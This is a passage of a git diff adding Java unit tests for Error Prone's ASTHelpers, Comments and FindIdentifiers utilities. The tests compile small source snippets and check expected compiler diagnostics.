void close() throws InterruptedException; + } + } + """) + .doTest(); + } + + @Test + public void getThrownExceptions_tryWithResourcesVariable() { + replaceExceptionHelper + .addSourceLines( + "Test.java", + """ + abstract class Test { + // BUG: Diagnostic contains: [InterruptedException] + void test() throws Exception { + var x = c(); + try (x) {} + } + // BUG: Diagnostic contains: + abstract C c(); + abstract class C implements AutoCloseable { + // BUG: Diagnostic contains: + @Override public abstract void close() throws InterruptedException; + } + } + """) + .doTest(); + } + + @Test + public void isSubtype_onMethods_isFalse() { + writeFile( + "A.java", + """ + public class A { + public void doIt(T t) {} + public int doItAgain(int i) {return 42;} + private static void doSomething() {} + } + class B extends A { + @Override + public void doIt(T t) {} + @Override + public int doItAgain(int i) {return 42;} + } + """); + TestScanner scanner = + new TestScanner() { + @Override + public Void visitMethod(MethodTree tree, VisitorState state) { + setAssertionsComplete(); + Symbol sym = ASTHelpers.getSymbol(tree); + assertThat(ASTHelpers.isSubtype(sym.asType(), sym.asType(), state)).isFalse(); + return super.visitMethod(tree, state); + } + }; + tests.add(scanner); + assertCompiles(scanner); + } + + /** Comments on method invocations with their receiver chain. */ + @BugPattern( + summary = "Comments on method invocations with their receiver chain.", + severity = WARNING) + public static final class ReceiverStream extends BugChecker + implements MethodInvocationTreeMatcher { + @Override + public Description matchMethodInvocation(MethodInvocationTree tree, VisitorState state) { + return buildDescription(tree) + .setMessage( + ASTHelpers.streamReceivers(tree) + .map(state::getSourceForNode) + .collect(joining(", ", "[", "]"))) + .build(); + } + } + + @Test + public void receiverStream() { + CompilationTestHelper.newInstance(ReceiverStream.class, getClass()) + .addSourceLines( + "Test.java", + """ + class Test { + private Test t; + private void t() { + // BUG: Diagnostic contains: [] + t(); + // BUG: Diagnostic contains: [t.t, t] + t.t.t(); + } + } + """) + .doTest(); + } + + /** Helper for testing {@link ASTHelpers#canBeRemoved}. */ + @BugPattern(summary = "", severity = WARNING) + public static final class VisibleMembers extends BugChecker + implements MethodTreeMatcher, VariableTreeMatcher { + + @Override + public Description matchMethod(MethodTree tree, VisitorState state) { + return ASTHelpers.canBeRemoved(ASTHelpers.getSymbol(tree), state) + ? describeMatch(tree) + : Description.NO_MATCH; + } + + @Override + public Description matchVariable(VariableTree tree, VisitorState state) { + return ASTHelpers.canBeRemoved(ASTHelpers.getSymbol(tree)) + ? describeMatch(tree) + : Description.NO_MATCH; + } + } + + @Test + public void visibleMembers() { + CompilationTestHelper.newInstance(VisibleMembers.class, getClass()) + .addSourceLines( + "Test.java", + """ + class Test { + // BUG: Diagnostic contains: + private Test t; + private class Inner { + // BUG: Diagnostic contains: + public Test t; + // BUG: Diagnostic contains: + public void test() {} + @Override public String toString() { return null; } + } + } + """) + .doTest(); + } + + private static final ImmutableSet> ALL_TREE_TYPES = + Arrays.stream(TreePathScanner.class.getMethods()) + .filter(m -> m.getName().startsWith("visit")) + .filter(m -> m.getParameters().length == 2) + .map(m -> m.getParameters()[0].getType()) + .collect(toImmutableSet()); + + @Test + public void typesWithModifiersTree() { + for (Class clazz : ALL_TREE_TYPES) { + switch (clazz.getSimpleName()) { + case "MethodTree": + assertGetModifiersInvoked(MethodTree.class, MethodTree::getModifiers); + break; + case "ClassTree": + assertGetModifiersInvoked(ClassTree.class, ClassTree::getModifiers); + break; + case "VariableTree": + assertGetModifiersInvoked(VariableTree.class, VariableTree::getModifiers); + break; + case "ModifiersTree": + ModifiersTree modifiersTree = mock(ModifiersTree.class); + assertThat(ASTHelpers.getModifiers(modifiersTree)).isSameInstanceAs(modifiersTree); + break; + default: + assertMethodNotFound(clazz, "getModifiers"); + } + } + } + + private static void assertGetModifiersInvoked( + Class clazz, Function getter) { + T tree = mock(clazz); + ASTHelpers.getModifiers(tree); + + // This effectively means the same as {@code verify(tree).getModifiers()}. + ModifiersTree ignored = getter.apply(verify(tree)); + } + + @Test + public void typesWithGetAnnotations() { + for (Class clazz : ALL_TREE_TYPES) { + switch (clazz.getSimpleName()) { + case "TypeParameterTree": + assertGetAnnotationsInvoked(TypeParameterTree.class, TypeParameterTree::getAnnotations); + break; + case "ModuleTree": + assertGetAnnotationsInvoked(ModuleTree.class, ModuleTree::getAnnotations); + break; + case "PackageTree": + assertGetAnnotationsInvoked(PackageTree.class, PackageTree::getAnnotations); + break; + case "NewArrayTree": + assertGetAnnotationsInvoked(NewArrayTree.class, NewArrayTree::getAnnotations); + break; + case "ModifiersTree": + assertGetAnnotationsInvoked(ModifiersTree.class, ModifiersTree::getAnnotations); + break; + case "AnnotatedTypeTree": + assertGetAnnotationsInvoked(AnnotatedTypeTree.class, AnnotatedTypeTree::getAnnotations); + break; + default: + assertMethodNotFound(clazz, "getAnnotations"); + } + } + } + + private static void assertGetAnnotationsInvoked( + Class clazz, Function> getter) { + T tree = mock(clazz); + ASTHelpers.getAnnotations(tree); + // This effectively means the same as {@code verify(tree).getAnnotations()}. + List ignored = getter.apply(verify(tree)); + } + + private static void assertMethodNotFound(Class clazz, String method, Class... params) { + assertThrows(NoSuchMethodException.class, () -> clazz.getMethod(method, params)); + } + + /** Helper for testing {@link ASTHelpers#enclosingPackage}. */ + @BugPattern(summary = "", severity = WARNING) + public static final class EnclosingPackage extends BugChecker + implements VariableTreeMatcher, MemberReferenceTreeMatcher { + @Override + public Description matchVariable(VariableTree tree, VisitorState state) { + Symbol sym = ASTHelpers.getSymbol(tree); + if (sym.getKind().equals(ElementKind.FIELD)) { + return check(tree.getType()); + } + return Description.NO_MATCH; + } + + @Override + public Description matchMemberReference(MemberReferenceTree tree, VisitorState state) { + return check(tree); + } + + Description check(Tree tree) { + PackageSymbol packageSymbol = ASTHelpers.enclosingPackage(ASTHelpers.getSymbol(tree)); + return buildDescription(tree).setMessage(String.format("[%s]", packageSymbol)).build(); + } + } + + @Test + public void enclosingPackage() { + CompilationTestHelper.newInstance(EnclosingPackage.class, getClass()) + .addSourceLines( + "Test.java", + """ + package p; + import java.util.function.Function; + import java.util.function.IntFunction; + import java.util.stream.Stream; + class Test { + // BUG: Diagnostic contains: [java.util.function] + Function f; + // BUG: Diagnostic contains: [p] + Test t; + { + // BUG: Diagnostic contains: [] + Stream.of().toArray(IntFunction[]::new); + } + } + """) + .doTest(); + } + + /** + * Test checker to ensure that ASTHelpers.hasDirectAnnotationWithSimpleName handles type + * annotations. + */ + @BugPattern( + severity = SeverityLevel.ERROR, + summary = + "Test checker to ensure that ASTHelpers.hasDirectAnnotationWithSimpleName handles type" + + " annotations") + public static class HasNullableAnnotationChecker extends BugChecker + implements MethodTreeMatcher, VariableTreeMatcher { + @Override + public Description matchVariable(VariableTree tree, VisitorState state) { + return match(tree, state); + } + + @Override + public Description matchMethod(MethodTree tree, VisitorState state) { + return match(tree, state); + } + + Description match(Tree tree, VisitorState state) { + if (ASTHelpers.hasDirectAnnotationWithSimpleName(ASTHelpers.getSymbol(tree), "Nullable")) { + return describeMatch(tree); + } + return Description.NO_MATCH; + } + } + + @Test + public void testHasDirectOrTypeAnnotationWithSimpleName() { + CompilationTestHelper.newInstance(HasNullableAnnotationChecker.class, getClass()) + .addSourceLines( + "Declaration.java", + """ + import static java.lang.annotation.ElementType.METHOD; + import static java.lang.annotation.ElementType.FIELD; + import java.lang.annotation.Target; + class Declaration { + @Target({METHOD, FIELD}) + @interface Nullable {} + } + """) + .addSourceLines( + "TypeUse.java", + """ + import static java.lang.annotation.ElementType.TYPE_USE; + import java.lang.annotation.Target; + class TypeUse { + @Target(TYPE_USE) + @interface Nullable {} + } + """) + .addSourceLines( + "Test.java", + """ + abstract class Test { + // BUG: Diagnostic contains: + @Declaration.Nullable public abstract Integer f(); + // BUG: Diagnostic contains: + public abstract @TypeUse.Nullable Integer g(); + public abstract Integer i(); + // BUG: Diagnostic contains: + @Declaration.Nullable public Integer x; + // BUG: Diagnostic contains: + public @TypeUse.Nullable Integer y; + public Integer z; + } + """) + .doTest(); + } +} diff --git a/check_api/src/test/java/com/google/errorprone/util/CommentsTest.java b/check_api/src/test/java/com/google/errorprone/util/CommentsTest.java new file mode 100644 index 00000000000..087305ace71 --- /dev/null +++ b/check_api/src/test/java/com/google/errorprone/util/CommentsTest.java @@ -0,0 +1,595 @@ +/* + * Copyright 2017 The Error Prone Authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.errorprone.util; + +import static com.google.common.collect.ImmutableList.toImmutableList; + +import com.google.common.collect.ImmutableList; +import com.google.errorprone.BugPattern; +import com.google.errorprone.BugPattern.SeverityLevel; +import com.google.errorprone.CompilationTestHelper; +import com.google.errorprone.VisitorState; +import com.google.errorprone.bugpatterns.BugChecker; +import com.google.errorprone.bugpatterns.BugChecker.MethodInvocationTreeMatcher; +import com.google.errorprone.bugpatterns.BugChecker.NewClassTreeMatcher; +import com.google.errorprone.matchers.Description; +import com.sun.source.tree.ExpressionTree; +import com.sun.source.tree.MethodInvocationTree; +import com.sun.source.tree.NewClassTree; +import java.util.Optional; +import java.util.stream.Collectors; +import java.util.stream.Stream; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +/** Test code for {@code Comments} */ +@RunWith(JUnit4.class) +public class CommentsTest { + + /** + * A {@link BugChecker} that calls computeEndPosition for each invocation and prints the final + * line of source ending at that position + */ + @BugPattern( + severity = SeverityLevel.ERROR, + summary = "Calls computeEndPosition and prints results") + public static class ComputeEndPosition extends BugChecker implements MethodInvocationTreeMatcher { + + @Override + public Description matchMethodInvocation(MethodInvocationTree tree, VisitorState state) { + CharSequence sourceCode = state.getSourceCode(); + Optional endPosition = Comments.computeEndPosition(tree, sourceCode, state); + if (!endPosition.isPresent()) { + return Description.NO_MATCH; + } + int startPosition = endPosition.get(); + do { + startPosition--; + } while (sourceCode.charAt(startPosition) != '\n'); + + return buildDescription(tree) + .setMessage(sourceCode.subSequence(startPosition + 1, endPosition.get()).toString()) + .build(); + } + } + + @Test + public void computeEndPosition_returnsEndOfInvocation_whenNoTrailingComment() { + CompilationTestHelper.newInstance(ComputeEndPosition.class, getClass()) + .addSourceLines( + "Test.java", + """ + abstract class Test { + abstract void target(Object param); + private void test(Object param) { + // BUG: Diagnostic contains: target(param) + target(param); + } + } + """) + .doTest(); + } + + @Test + public void computeEndPosition_returnsEndOfNextStatement_whenTrailingComment() { + CompilationTestHelper.newInstance(ComputeEndPosition.class, getClass()) + .addSourceLines( + "Test.java", + """ + abstract class Test { + abstract void target(Object param); + private void test(Object param) { + // BUG: Diagnostic contains: int i; + target(param); // 1 + int i; + } + } + """) + .doTest(); + } + + @Test + public void computeEndPosition_returnsEndOfBlock_whenLastWithTrailingComment() { + CompilationTestHelper.newInstance(ComputeEndPosition.class, getClass()) + .addSourceLines( + "Test.java", + """ + abstract class Test { + abstract void target(Object param); + private void test(Object param) { + // BUG: Diagnostic contains: } + target(param); // 1 + } + } + """) + .doTest(); + } + + /** A {@link BugChecker} that prints the contents of comments around arguments */ + @BugPattern( + severity = SeverityLevel.ERROR, + summary = + "Prints comments occurring around arguments. Matches calls to methods named " + + "'target' and all constructors") + public static class PrintCommentsForArguments extends BugChecker + implements MethodInvocationTreeMatcher, NewClassTreeMatcher { + + @Override + public Description matchMethodInvocation(MethodInvocationTree tree, VisitorState state) { + if (!ASTHelpers.getSymbol(tree).getSimpleName().contentEquals("target")) { + return Description.NO_MATCH; + } + return buildDescription(tree) + .setMessage(commentsToString(Comments.findCommentsForArguments(tree, state))) + .build(); + } + + @Override + public Description matchNewClass(NewClassTree tree, VisitorState state) { + return buildDescription(tree) + .setMessage(commentsToString(Comments.findCommentsForArguments(tree, state))) + .build(); + } + + @SuppressWarnings("TreeToString") // explicitly want to strip comments in tree. + private static String commentsToString(ImmutableList> comments) { + return comments.stream() + .map( + c -> + Stream.of( + String.valueOf(getTextFromCommentList(c.beforeComments())), + String.valueOf(c.tree()), + String.valueOf(getTextFromCommentList(c.afterComments()))) + .collect(Collectors.joining(" "))) + .collect(toImmutableList()) + .toString(); + } + + private static ImmutableList getTextFromCommentList( + ImmutableList comments) { + return comments.stream().map(Comments::getTextFromComment).collect(toImmutableList()); + } + } + + @Test + public void findCommentsForArguments_findsBothComments_beforeAndAfter() { + CompilationTestHelper.newInstance(PrintCommentsForArguments.class, getClass()) + .addSourceLines( + "Test.java", + """ + abstract class Test { + abstract void target(Object param); + private void test(Object param) { + // BUG: Diagnostic contains: [[1] param [2]] + target(/* 1 */ param /* 2 */); + } + } + """) + .doTest(); + } + + @Test + public void findCommentsForArguments_findsBothComments_before() { + CompilationTestHelper.newInstance(PrintCommentsForArguments.class, getClass()) + .addSourceLines( + "Test.java", + """ + abstract class Test { + abstract void target(Object param); + private void test(Object param) { + // BUG: Diagnostic contains: [[1, 2] param []] + target(/* 1 */ /* 2 */ param); + } + } + """) + .doTest(); + } + + @Test + public void findCommentsForArguments_findsBothComments_after() { + CompilationTestHelper.newInstance(PrintCommentsForArguments.class, getClass()) + .addSourceLines( + "Test.java", + """ + abstract class Test { + abstract void target(Object param); + private void test(Object param) { + // BUG: Diagnostic contains: [[] param [1, 2]] + target(param /* 1 */ /* 2 */); + } + } + """) + .doTest(); + } + + @Test + public void findCommentsForArguments_assignsToCorrectParameter_adjacentComments() { + CompilationTestHelper.newInstance(PrintCommentsForArguments.class, getClass()) + .addSourceLines( + "Test.java", + """ + abstract class Test { + abstract void target(Object param1, Object param2); + private void test(Object param1, Object param2) { + // BUG: Diagnostic contains: [[] param1 [1], [2] param2 []] + target(param1 /* 1 */, /* 2 */ param2); + } + } + """) + .doTest(); + } + + @Test + public void findCommentsForArguments_findsNoComments_whenNoComments() { + CompilationTestHelper.newInstance(PrintCommentsForArguments.class, getClass()) + .addSourceLines( + "Test.java", + """ + abstract class Test { + abstract void target(Object param1, Object param2); + private void test(Object param1, Object param2) { + // BUG: Diagnostic contains: [[] param1 [], [] param2 []] + target(param1, param2); + } + } + """) + .doTest(); + } + + @Test + public void findCommentsForArguments_findsNothing_whenNoArguments() { + CompilationTestHelper.newInstance(PrintCommentsForArguments.class, getClass()) + .addSourceLines( + "Test.java", + """ + abstract class Test { + abstract void target(); + private void test() { + // BUG: Diagnostic contains: [] + target(); + } + } + """) + .doTest(); + } + + @Test + public void findCommentsForArguments_assignToFirstParameter_withLineCommentAfterComma() { + CompilationTestHelper.newInstance(PrintCommentsForArguments.class, getClass()) + .addSourceLines( + "Test.java", + """ + abstract class Test { + abstract void target(Object param1, Object param2); + private void test(Object param1, Object param2) { + // BUG: Diagnostic contains: [[] param1 [1], [] param2 []] + target(param1, // 1 + param2); + } + } + """) + .doTest(); + } + + @Test + public void findCommentsForArguments_assignToFirstParameter_withBlockAfterComma() { + CompilationTestHelper.newInstance(PrintCommentsForArguments.class, getClass()) + .addSourceLines( + "Test.java", + """ + abstract class Test { + abstract void target(Object param1, Object param2); + private void test(Object param1, Object param2) { + // BUG: Diagnostic contains: [[] param1 [1], [] param2 []] + target(param1, /* 1 */ + param2); + } + } + """) + .doTest(); + } + + @Test + public void findCommentsForArguments_assignToSecondParameter_withLineCommentAfterMethod() { + CompilationTestHelper.newInstance(PrintCommentsForArguments.class, getClass()) + .addSourceLines( + "Test.java", + """ + abstract class Test { + abstract void target(Object param1, Object param2); + private void test(Object param1, Object param2) { + // BUG: Diagnostic contains: [[] param1 [], [] param2 [2]] + target(param1, + param2); // 2 + } + } + """) + .doTest(); + } + + @Test + public void + findCommentsForArguments_assignToSecondParameter_withLineCommentAfterMethodMidBlock() { + CompilationTestHelper.newInstance(PrintCommentsForArguments.class, getClass()) + .addSourceLines( + "Test.java", + """ + abstract class Test { + abstract void target(Object param1, Object param2); + private void test(Object param1, Object param2) { + // BUG: Diagnostic contains: [[] param1 [], [] param2 [2]] + target(param1, + param2); // 2 + int i = 1; + } + } + """) + .doTest(); + } + + @Test + public void findCommentsForArguments_assignToSecondParameter_withLineCommentAfterField() { + CompilationTestHelper.newInstance(PrintCommentsForArguments.class, getClass()) + .addSourceLines( + "Test.java", + """ + abstract class Test { + abstract Object target(Object param); + // BUG: Diagnostic contains: [[] null [1]] + private Object test = target(null); // 1 + } + """) + .doTest(); + } + + @Test + public void findCommentsForArguments_findsComments_onConstructor() { + CompilationTestHelper.newInstance(PrintCommentsForArguments.class, getClass()) + .addSourceLines( + "Test.java", + """ + class Test { + Test(Object param1, Object param2) {} + void test(Object param1, Object param2) { + // BUG: Diagnostic contains: [[1] param1 [], [] param2 [2]] + new Test(/* 1 */ param1, param2 /* 2 */); + } + } + """) + .doTest(); + } + + @Test + public void findCommentsForArguments_attachesCommentToSecondArgument_whenCommentOnOwnLine() { + CompilationTestHelper.newInstance(PrintCommentsForArguments.class, getClass()) + .addSourceLines( + "Test.java", + """ + class Test { + Test(Object param1, Object param2) {} + void test(Object param1, Object param2) { + // BUG: Diagnostic contains: [[] param1 [], [1] param2 []] + new Test(param1, + // 1 + param2); + } + } + """) + .doTest(); + } + + @Test + public void + findCommentsForArguments_attachesCommentToArgument_whenCommentOnFollowingLineWithinCall() { + CompilationTestHelper.newInstance(PrintCommentsForArguments.class, getClass()) + .addSourceLines( + "Test.java", + """ + class Test { + Test(Object param1) {} + void test(Object param1) { + // BUG: Diagnostic contains: [[] param1 [1]] + new Test(param1 + // 1 + ); + } + } + """) + .doTest(); + } + + @Test + public void findCommentsForArguments_ignoresNextLineComment_withLineCommentAfterInvocation() { + CompilationTestHelper.newInstance(PrintCommentsForArguments.class, getClass()) + .addSourceLines( + "Test.java", + """ + abstract class Test { + abstract Object target(Object param); + void test(Object param) { + // BUG: Diagnostic contains: [[] param [1]] + target(param); // 1 + /* 2 */ int i; + } + } + """) + .doTest(); + } + + @Test + public void + findCommentsForArguments_attachesCommentToSecondArgument_whenFollowedByTreeContainingComma() { + CompilationTestHelper.newInstance(PrintCommentsForArguments.class, getClass()) + .addSourceLines( + "Test.java", + """ + abstract class Test { + abstract void target(Object param1, Object param2); + void test(Object param1, Object param2) { + // BUG: Diagnostic contains: [[] param1 [], [] param2 [1]] + target(param1, param2); // 1 + // BUG: Diagnostic contains: [[] param1 [], [] param2 []] + target(param1, param2); + } + } + """) + .doTest(); + } + + @Test + public void findCommentsForArguments_attachesCommentToFirstCall_whenMethodIsChained() { + CompilationTestHelper.newInstance(PrintCommentsForArguments.class, getClass()) + .addSourceLines( + "Test.java", + """ + abstract class Test { + abstract Test chain(Object param1); + abstract void target(Object param2); + void test(Object param1, Object param2) { + // BUG: Diagnostic contains: [[] param2 []] + chain(/* 1 */ param1).target(param2); + } + } + """) + .doTest(); + } + + @Test + public void findCommentsForArguments_noCommentOnOuterMethod_whenCommentOnNestedMethod() { + CompilationTestHelper.newInstance(PrintCommentsForArguments.class, getClass()) + .addSourceLines( + "Test.java", + """ + abstract class Test { + abstract Object nested(Object param); + abstract void target(Object param); + void test(Object param) { + // BUG: Diagnostic contains: [[] nested(param) []] + target(nested(/* 1 */ param)); + } + } + """) + .doTest(); + } + + @Test + public void findCommentsForArguments_findsCommentOnOuterMethodOnly_whenCommentOnNestedMethod() { + CompilationTestHelper.newInstance(PrintCommentsForArguments.class, getClass()) + .addSourceLines( + "Test.java", + """ + abstract class Test { + abstract Object nested(Object param); + abstract void target(Object param); + void test(Object param) { + // BUG: Diagnostic contains: [[1] nested(param) [4]] + target(/* 1 */ nested(/* 2 */ param /* 3 */) /* 4 */); + } + } + """) + .doTest(); + } + + /** A {@link BugChecker} that prints the source code at comment positions */ + @BugPattern( + severity = SeverityLevel.ERROR, + summary = + "Prints the source code text which is under the comment position. Matches calls to " + + "methods called target and constructors only") + public static class PrintTextAtCommentPosition extends BugChecker + implements MethodInvocationTreeMatcher, NewClassTreeMatcher { + + @Override + public Description matchMethodInvocation(MethodInvocationTree tree, VisitorState state) { + if (!ASTHelpers.getSymbol(tree).getSimpleName().contentEquals("target")) { + return Description.NO_MATCH; + } + return buildDescription(tree) + .setMessage(commentsToString(Comments.findCommentsForArguments(tree, state), state)) + .build(); + } + + @Override + public Description matchNewClass(NewClassTree tree, VisitorState state) { + return buildDescription(tree) + .setMessage(commentsToString(Comments.findCommentsForArguments(tree, state), state)) + .build(); + } + + private static String commentsToString( + ImmutableList> comments, VisitorState state) { + return comments.stream() + .map( + c -> + Stream.of( + String.valueOf(getSourceAtComment(c.beforeComments(), state)), + state.getSourceForNode(c.tree()), + String.valueOf(getSourceAtComment(c.afterComments(), state))) + .collect(Collectors.joining(" "))) + .collect(toImmutableList()) + .toString(); + } + + private static ImmutableList getSourceAtComment( + ImmutableList comments, VisitorState state) { + return comments.stream() + .map( + c -> + state + .getSourceCode() + .subSequence(c.getSourcePos(0), c.getSourcePos(0) + c.getText().length()) + .toString()) + .collect(toImmutableList()); + } + } + + @Test + public void printTextAtCommentPosition_isCorrect_whenMethodIsChained() { + CompilationTestHelper.newInstance(PrintTextAtCommentPosition.class, getClass()) + .addSourceLines( + "Test.java", + """ + abstract class Test { + abstract Test chain(Object param1); + abstract void target(Object param2); + void test(Object param1, Object param2) { + // BUG: Diagnostic contains: [[/* 1 */] param2 []] + chain(param1).target(/* 1 */ param2); + } + } + """) + .doTest(); + } + + @Test + public void printTextAtCommentPosition_isCorrect_onConstructor() { + CompilationTestHelper.newInstance(PrintTextAtCommentPosition.class, getClass()) + .addSourceLines( + "Test.java", + """ + class Test { + Test(Object param1, Object param2) {} + void test(Object param1, Object param2) { + // BUG: Diagnostic contains: [[/* 1 */] param1 [], [] param2 [/* 2 */]] + new Test(/* 1 */ param1, param2 /* 2 */); + } + } + """) + .doTest(); + } +} diff --git a/check_api/src/test/java/com/google/errorprone/util/FindIdentifiersTest.java b/check_api/src/test/java/com/google/errorprone/util/FindIdentifiersTest.java new file mode 100644 index 00000000000..8834b40282b --- /dev/null +++ b/check_api/src/test/java/com/google/errorprone/util/FindIdentifiersTest.java @@ -0,0 +1,1135 @@ +/* + * Copyright 2016 The Error Prone Authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.errorprone.util; + +import com.google.common.collect.ImmutableList; +import com.google.errorprone.BugPattern; +import com.google.errorprone.BugPattern.SeverityLevel; +import com.google.errorprone.CompilationTestHelper; +import com.google.errorprone.VisitorState; +import com.google.errorprone.bugpatterns.BugChecker; +import com.google.errorprone.bugpatterns.BugChecker.ClassTreeMatcher; +import com.google.errorprone.bugpatterns.BugChecker.MemberSelectTreeMatcher; +import com.google.errorprone.bugpatterns.BugChecker.MethodInvocationTreeMatcher; +import com.google.errorprone.bugpatterns.BugChecker.MethodTreeMatcher; +import com.google.errorprone.matchers.Description; +import com.google.errorprone.matchers.method.MethodMatchers; +import com.sun.source.tree.ClassTree; +import com.sun.source.tree.MemberSelectTree; +import com.sun.source.tree.MethodInvocationTree; +import com.sun.source.tree.MethodTree; +import com.sun.tools.javac.code.Kinds.KindSelector; +import com.sun.tools.javac.code.Symbol.MethodSymbol; +import com.sun.tools.javac.code.Symbol.VarSymbol; +import com.sun.tools.javac.code.Type; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +/** Tests for {@link FindIdentifiers}. */ +@RunWith(JUnit4.class) +public class FindIdentifiersTest { + + /** A {@link BugChecker} that prints all identifiers in scope at a call to String.format(). */ + @BugPattern( + severity = SeverityLevel.ERROR, + summary = "Prints all identifiers in scope at a call to String.format()") + public static class PrintIdents extends BugChecker implements MethodInvocationTreeMatcher { + @Override + public Description matchMethodInvocation(MethodInvocationTree tree, VisitorState state) { + if (MethodMatchers.staticMethod() + .onClass("java.lang.String") + .named("format") + .matches(tree, state)) { + return buildDescription(tree) + .setMessage(FindIdentifiers.findAllIdents(state).toString()) + .build(); + } + return Description.NO_MATCH; + } + } + + @Test + public void findAllIdentsLocals() { + CompilationTestHelper.newInstance(PrintIdents.class, getClass()) + .addSourceLines( + "Test.java", + """ + class Test { + private void doIt() { + String s1 = ""; + String s2 = ""; + // BUG: Diagnostic contains: [s1, s2] + String.format(s1 + s2); + String s3 = ""; + } + } + """) + .doTest(); + } + + @Test + public void findAllIdentsLocalsEnclosedTreeNode() { + CompilationTestHelper.newInstance(PrintIdents.class, getClass()) + .addSourceLines( + "Test.java", + """ + class Test { + private void doIt() { + String s1 = ""; + String s2 = ""; + if (true) + // BUG: Diagnostic contains: [s1, s2] + String.format(s1 + s2); + String s3 = ""; + } + } + """) + .doTest(); + } + + @Test + public void findAllIdentsLocalsOuterScope() { + CompilationTestHelper.newInstance(PrintIdents.class, getClass()) + .addSourceLines( + "Test.java", + """ + class Test { + private void doIt() { + String s1 = ""; + while (true) { + // BUG: Diagnostic contains: [s1] + String.format(s1); + } + } + } + """) + .doTest(); + } + + @Test + public void findAllIdentsParams() { + CompilationTestHelper.newInstance(PrintIdents.class, getClass()) + .addSourceLines( + "Test.java", + """ + class Test { + private void doIt(String s1, String s2) { + // BUG: Diagnostic contains: [s1, s2] + String.format(s1 + s2); + } + } + """) + .doTest(); + } + + @Test + public void findAllIdentsMixedLocalsAndParams() { + CompilationTestHelper.newInstance(PrintIdents.class, getClass()) + .addSourceLines( + "Test.java", + """ + class Test { + private void doIt(String s1) { + String s2 = s1; + while (true) { + String s3 = s1; + // BUG: Diagnostic contains: [s3, s2, s1] + String.format(s3 + s2 + s1); + String s4 = s1; + } + } + } + """) + .doTest(); + } + + @Test + public void findAllIdentsFields() { + CompilationTestHelper.newInstance(PrintIdents.class, getClass()) + .addSourceLines( + "Test.java", + """ + class Test { + private static String s1; + private String s2; + private void doIt() { + // BUG: Diagnostic contains: [s1, s2] + String.format(s1 + s2); + } + private static void staticDoIt() { + // BUG: Diagnostic contains: [s1] + String.format(s1); + } + } + """) + .doTest(); + } + + @Test + public void findAllIdentsInheritedFieldsSamePackage() { + CompilationTestHelper.newInstance(PrintIdents.class, getClass()) + .addSourceLines( + "pkg/Super.java", + """ + package pkg; + public class Super { + public String s1; + protected String s2; + String s3; + private String s4; + public static String s5; + protected static String s6; + static String s7; + private static String s8; + } + """) + .addSourceLines( + "pkg/Sub.java", + """ + package pkg; + public class Sub extends Super { + private void doIt() { + // BUG: Diagnostic contains: [s1, s2, s3, s5, s6, s7] + String.format(s1 + s2 + s3 + s5 + s6 + s7); + } + private static void doItStatically() { + // BUG: Diagnostic contains: [s5, s6, s7] + String.format(s5 + s6 + s7); + } + } + """) + .doTest(); + } + + @Test + public void findAllIdentsInheritedFieldsDifferentPackage() { + CompilationTestHelper.newInstance(PrintIdents.class, getClass()) + .addSourceLines( + "pkg1/Super.java", + """ + package pkg1; + public class Super { + public String s1; + protected String s2; + String s3; + private String s4; + public static String s5; + protected static String s6; + static String s7; + private static String s8; + } + """) + .addSourceLines( + "pkg2/Sub.java", + """ + package pkg2; + import pkg1.Super; + public class Sub extends Super { + private void doIt() { + // BUG: Diagnostic contains: [s1, s2, s5, s6] + String.format(s1 + s2 + s5 + s6); + } + private static void doItStatically() { + // BUG: Diagnostic contains: [s5, s6] + String.format(s5 + s6); + } + } + """) + .doTest(); + } + + @Test + public void findAllIdentsInheritedFieldsSameTopLevel() { + CompilationTestHelper.newInstance(PrintIdents.class, getClass()) + .addSourceLines( + "Holder.java", + """ + public class Holder { + class Super { + private String s1; + } + class Sub extends Super { + private String s2; + private void doIt() { + // BUG: Diagnostic contains: [s2] + String.format(s2); + } + } + } + """) + .doTest(); + } + + @Test + public void findAllIdentsStaticNestedClass() { + CompilationTestHelper.newInstance(PrintIdents.class, getClass()) + .addSourceLines( + "Outer.java", + """ + class Outer { + private String s1; + private static String s2; + static class Inner { + private String s3; + private static final String s4 = "s4"; + private void doIt() { + // BUG: Diagnostic contains: [s3, s4, s2] + String.format(s3 + s4 + s2); + } + private static void doItStatically() { + // BUG: Diagnostic contains: [s4, s2] + String.format(s4 + s2); + } + } + } + """) + .doTest(); + } + + @Test + public void findAllIdentsInnerClass() { + CompilationTestHelper.newInstance(PrintIdents.class, getClass()) + .addSourceLines( + "Outer.java", + """ + class Outer { + private String s1; + private static String s2; + class Inner { + private String s3; + private static final String s4 = "s4"; + class EvenMoreInner { + private String s5; + private static final String s6 = "s6"; + private void doIt() { + // BUG: Diagnostic contains: [s5, s6, s3, s4, s1, s2] + String.format(s5 + s6 + s3 + s4 + s1 + s2); + } + } + } + } + """) + .doTest(); + } + + @Test + public void findAllIdentsStaticMethodWithLocalClass() { + CompilationTestHelper.newInstance(PrintIdents.class, getClass()) + .addSourceLines( + "Test.java", + """ + class Test { + private String s1; + private static String s2; + private static void doIt() { + class Helper { + private String s3; + private static final String s4 = "s6"; + void reallyDoIt() { + // BUG: Diagnostic contains: [s3, s4, s2] + String.format(s4 + s3 + s2); + } + } + } + } + """) + .doTest(); + } + + @Test + public void findAllIdentsStaticLambda() { + CompilationTestHelper.newInstance(PrintIdents.class, getClass()) + .addSourceLines( + "Test.java", + """ + class Test { + private String s1; + private static String s2; + // BUG: Diagnostic contains: [s2] + private static Runnable r = () -> String.format(s2); + } + """) + .doTest(); + } + + @Test + public void findAllIdentsStaticLambdaWithLocalClass() { + CompilationTestHelper.newInstance(PrintIdents.class, getClass()) + .addSourceLines( + "Test.java", + """ + class Test { + private String s1; + private static String s2; + private static Runnable doIt 